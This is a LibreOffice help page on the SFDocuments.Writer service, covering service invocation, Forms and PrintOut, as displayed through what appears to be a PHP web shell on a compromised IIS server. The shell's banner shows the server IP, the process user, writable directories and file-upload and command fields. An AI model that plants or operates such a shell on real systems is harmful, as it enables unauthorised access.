403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.133
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/03/sf_writer.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>SFDocuments.Writer service</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<a name="SFDocuments-sf_writer"></a>
    <a name="bm_id261582733781987"></a>
      <meta itemprop="keywords" content="Writer service">
   


<a name="abstract"></a>
    <h1 id="hd_id731582733781114" dir="auto">
<a name="WriterService"></a><span class="literal">SFDocuments</span>.<span class="literal">Writer</span> service</h1>
    <p id="par_id381589189355849" class="paragraph" dir="auto">The <span class="literal">SFDocuments</span> shared library provides a number of methods and properties to facilitate the management and handling of LibreOffice documents.</p>
    <p id="par_id351591014177269" class="paragraph" dir="auto">Some methods are generic for all types of documents and are inherited from the <span class="literal">SF_Document</span> module, whereas other methods that are specific for Writer documents are defined in the <span class="literal">SF_Writer</span> module.</p>
    


  <h2 id="hd_id581582885621841" dir="auto">Service invocation</h2>
  <p id="par_id141609955500101" class="paragraph" dir="auto">Before using the <span class="literal">Writer</span> service the <span class="literal">ScriptForge</span> library needs to be loaded or imported:</p>
  <div class="embedded">
<a name="importLibs"></a>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id901528999850603" dir="auto">• Basic macros require to load <span class="literal">ScriptForge</span> library using the following statement:<br><span class="literal">GlobalScope.BasicLibraries.loadLibrary("ScriptForge")</span><br><br>• Python scripts require an import from <span class="literal">scriptforge</span> module:<br><span class="literal">from scriptforge import CreateScriptService</span>
    </p></div>
</div>
<br>
  </div>

  <p id="par_id591589191059889" class="paragraph" dir="auto">The <span class="literal">Writer</span> service is closely related to the <span class="literal">UI</span> service of the <span class="literal">ScriptForge</span> library. Below are a few examples of how the <span class="literal">Writer</span> service can be invoked.</p>
  <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
  <p id="par_id551621623999947" class="paragraph" dir="auto">The code snippet below creates a <span class="literal">Writer</span> service instance that corresponds to the currently active Writer document.</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim oDoc As Object
    Set oDoc = CreateScriptService("SFDocuments.Writer", "Untitled 1") ' Default = ActiveWindow
  </code></pre></div>
  <p id="par_id341621467500466" class="paragraph" dir="auto">Another way to create an instance of the <span class="literal">Writer</span> service is using the <span class="literal">UI</span> service. In the following example, a new Writer document is created and <span class="literal">oDoc</span> is a <span class="literal">Writer</span> service instance:</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim ui As Object, oDoc As Object
    Set ui = CreateScriptService("UI")
    Set oDoc = ui.CreateDocument("Writer")
  </code></pre></div>
  <p id="par_id921621467621019" class="paragraph" dir="auto">Or using the <span class="literal">OpenDocument</span> method from the <span class="literal">UI</span> service:</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Set oDoc = ui.OpenDocument("C:\Me\MyFile.odt")
  </code></pre></div>
  <p id="par_id741621467697967" class="paragraph" dir="auto">It is also possible to instantiate the <span class="literal">Writer</span> service using the <span class="literal">CreateScriptService</span> method:</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim oDoc As Object
    Set oDoc = CreateScriptService("SFDocuments.Writer", "MyFile.odt")
  </code></pre></div>
  <p id="par_id271621467810774" class="paragraph" dir="auto">In the example above, "MyFile.odt" is the name of an open document window. If this argument is not provided, the active window is considered.</p>
  <p id="par_id71158288562139" class="paragraph" dir="auto">It is recommended to free resources after use:</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Set oDoc = oDoc.Dispose()
  </code></pre></div>
  <p id="par_id231611610666018" class="paragraph" dir="auto">However, if the document was closed using the <span class="literal">CloseDocument</span> method, it becomes unnecessary to free resources using the command described above.</p>
  <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
    myDoc = CreateScriptService("Writer") ' Default = ActiveWindow
  </code></pre></div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
    ui = CreateScriptService("UI")
    myDoc = ui.CreateDocument("Writer")
  </code></pre></div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
    myDoc = ui.OpenDocument(r"C:\Documents\MyFile.odt")
  </code></pre></div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
    myDoc = CreateScriptService("SFDocuments.Writer", "MyFile.odt")
    myDoc.Dispose()
  </code></pre></div>
  <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id71611090922315" dir="auto">The use of the prefix "<span class="literal">SFDocuments.</span>" while calling the service is optional.</p></div>
</div>
<br>

  <h2 id="hd_id291631196803182" dir="auto">Definitions</h2>
     

  <h2 id="hd_id351582885195476" dir="auto">Properties</h2>

  <h2 id="hd_id501582887473754" dir="auto">Methods</h2>
  <table border="1" class="" cellpadding="0" cellspacing="0">
   <tr>
     <th rowspan="" colspan="3" class="tableheadcell" dir="auto"><p id="par_id891611613601554" class="tableheadintable" dir="auto">List of Methods in the Writer Service</p></th>
   </tr>
   <tr>
       <td rowspan="" colspan="" dir="auto">
           <p id="par_id891611613601556" class="tablecontentintable" dir="auto">
             <a target="_top" href="en-US/text/sbasic/shared/03/sf_writer.html#Forms">Forms</a><br>
           </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
           <p id="par_id541611613601554" class="tablecontentintable" dir="auto">
             <a target="_top" href="en-US/text/sbasic/shared/03/sf_writer.html#PrintOut">PrintOut</a><br>
           </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
           <p id="par_id701611613601554" class="tablecontentintable" dir="auto">
             <a target="_top" href="en-US/text/sbasic/shared/03/sf_writer.html#MoveRange">…</a><br>
           </p>
       </td>
   </tr>
  </table>
<br>

<a name="Forms"></a>
  
  <a name="bm_id721589200121336"></a>
    <meta itemprop="keywords" content="Document service,Forms">
  
  <h2 id="hd_id261589200120884" dir="auto">Forms</h2>
  <p id="par_id501623063693649" class="paragraph" dir="auto">Depending on the parameters provided this method will return:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id611623063742045" class="listitem" dir="auto">A zero-based Array (or a tuple in Python) with the names of all the forms contained in the document (if the <span class="literal">form</span> argument is absent)</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id641623063744536" class="listitem" dir="auto">A <span class="literal">SFDocuments.Form</span> service instance representing the form specified as argument.</p>
    </li>
  </ul>
  <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id821623076570573" dir="auto">This method is applicable only for Writer documents. Calc and Base documents have their own <span class="literal">Forms</span> method in the <a target="_top" href="en-US/text/sbasic/shared/03/sf_calc.html#Forms">Calc</a> and <a target="_top" href="en-US/text/sbasic/shared/03/sf_base.html#Forms">Base</a> services, respectively.</p></div>
</div>
<br>
  <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
  <p id="par_id371623063588699" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Click on text to copy to clipboard">svc.Forms(): str[0..*]</span>
  </p>
  <p id="par_id471623151738791" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Click on text to copy to clipboard">svc.Forms(form: str = ''): svc</span>
  </p>
  <p id="par_id751623151751397" class="paragraph" dir="auto">
     <span class="input" data-tooltip="Click on text to copy to clipboard">svc.Forms(form: int): svc</span>
  </p>
  <div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
  <p id="par_id451623063459286" class="paragraph" dir="auto"><span class="emph">form</span>: The name or index corresponding to a form stored in the document. If this argument is absent, the method will return a list with the names of all forms available in the document.</p>
  <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
  <p id="par_id251623063305557" class="paragraph" dir="auto">In the following examples, the first line gets the names of all forms in the document and the second line retrieves the <span class="literal">Form</span> object of the form named "Form_A".</p>
  <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Set FormNames = oDoc.Forms()
    Set FormA = oDoc.Forms("Form_A")
  </code></pre></div>
  <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
    form_names = doc.Forms()
    form_A = doc.Forms("Form_A")
  </code></pre></div>


<a name="PrintOut"></a>
  
  <a name="bm_id231592919577434"></a>
      <meta itemprop="keywords" content="Writer service,PrintOut">
  
  <h2 id="hd_id921592919577158" dir="auto">PrintOut</h2>
  <p id="par_id31592919577984" class="paragraph" dir="auto">Send the contents of the document to the printer. The printer may be previously defined by default, by the user or by the <a target="_top" href="en-US/text/sbasic/03/sf_document.html#SetPrinter"><span class="literal">SetPrinter</span></a> method of the <a target="_top" href="en-US/text/sbasic/03/sf_document.html">Document</a> service. Returns <span class="literal">True</span> when successful.</p>
  <div class="embedded">
<a name="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Syntax:</h3>
</div>
  <p id="par_id441621534763020" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Click on text to copy to clipboard">svc.PrintOut(opt pages: str = "", opt copies: num = 1, opt printbackground: bool = True, opt printblankpages: bool = False, opt printevenpages: bool = True, opt printoddpages: bool = True, opt printimages: bool = True): bool</span>
  </p>
  <div class="embedded">
<a name="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parameters:</h3>
</div>
  <p id="par_id441592919577809" class="paragraph" dir="auto"><span class="emph">pages</span>: The pages to print as a string, like in the user interface. Example: "1-4;10;15-18". Default = all pages</p>
  <p id="par_id221636020923278" class="paragraph" dir="auto"><span class="emph">copies</span>: The number of copies, default is 1.</p>
  <p id="par_id121636020926764" class="paragraph" dir="auto"><span class="emph">printbackground</span>: Prints the background image when <span class="literal">True</span> (default).</p>
  <p id="par_id261636020927276" class="paragraph" dir="auto"><span class="emph">printblankpages</span>: When <span class="literal">False</span> (default), omits empty pages.</p>
  <p id="par_id021636020927484" class="paragraph" dir="auto"><span class="emph">printevenpages</span>: Prints even pages when <span class="literal">True</span> (default).</p>
  <p id="par_id391636020927676" class="paragraph" dir="auto"><span class="emph">printoddpages</span>: Print odd pages when <span class="literal">True</span> (default).</p>
  <p id="par_id121636021103996" class="paragraph" dir="auto"><span class="emph">printimages</span>: Print graphic objects when <span class="literal">True</span> (default).</p>
  <div class="embedded">
<a name="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Example:</h3>
</div>
  <div class="embedded">
<a name="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">In Basic</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oDoc.PrintOut("1-4;10;15-18", Copies := 2, PrintImages := False)
  </code></pre></div>
  <div class="embedded">
<a name="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">In Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
    doc.PrintOut(printblankpages = True, copies = 3)
  </code></pre></div>

 
  <div class="embedded">
<a name="SF_InternalUse"></a>
      <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id851506659675843" dir="auto">All <span class="literal">ScriptForge</span> Basic routines or identifiers that are prefixed with an underscore character "_" are reserved for internal use. They are not meant be used in Basic macros or Python scripts.</p></div>
</div>
<br>
    </div>
  <a name="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a name="related"></a><span class="emph">Related Topics</span>
</p>
<div class="relatedbody" itemprop="mentions">
    <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03/sf_document.html"><span class="literal">SFDocuments</span>.<span class="literal">Document</span> service</a></p></div>
    <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03/sf_ui.html"><span class="literal">ScriptForge</span>.<span class="literal">UI</span> service</a></p></div>
  </div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03/sf_writer.xhp" target="_blank">/text/sbasic/shared/03/sf_writer.xhp</a></p>
<p dir="auto">Title is: SFDocuments.Writer service</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit